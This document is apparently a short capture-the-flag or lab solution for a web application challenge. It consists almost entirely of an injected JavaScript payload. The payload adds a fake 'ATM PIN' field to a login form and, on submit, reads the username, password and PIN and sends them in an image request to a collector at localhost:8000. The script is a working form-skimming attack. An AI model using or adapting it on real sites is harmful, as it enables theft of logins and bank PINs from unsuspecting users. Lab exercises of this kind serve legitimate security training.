JFP 4 Solution [Modified Feild Form]

//challenge -> http://.com/lab/webapp/jfp/4


<script>
// ---INSERTING AFTER ---- //
var x = document.getElementsByTagName('form')[0];
x.appendChild(document.createElement('br'));
var input = document.createElement("input");
input.type = "text";
input.id = 'atm';
input.placeholder="ATM PIN"
input.style.width = "92%";
input.style.marginTop = "10px";
x.appendChild(input);
x.appendChild(document.createElement("br"));
document.getElementsByTagName('form')[0].addEventListener('submit',function(){
var u = document.querySelectorAll('form input')[0].value;
var p = document.querySelectorAll('form input')[1].value;
var a = document.getElementById('atm').value;
new Image().src = "http://localhost:8000/?user="+u+"&pass="+p+"&atm="+a;});


// ---- INSERTING BEFORE ----- //
var prev = document.getElementsByClassName('input-block-level')[0];
var form = document.getElementsByTagName('form')[0];
var input = document.createElement('input');
input.type="text";input.placeholder="ATM Pin";input.className="input-block-level";
form.insertBefore(input, prev);
</script>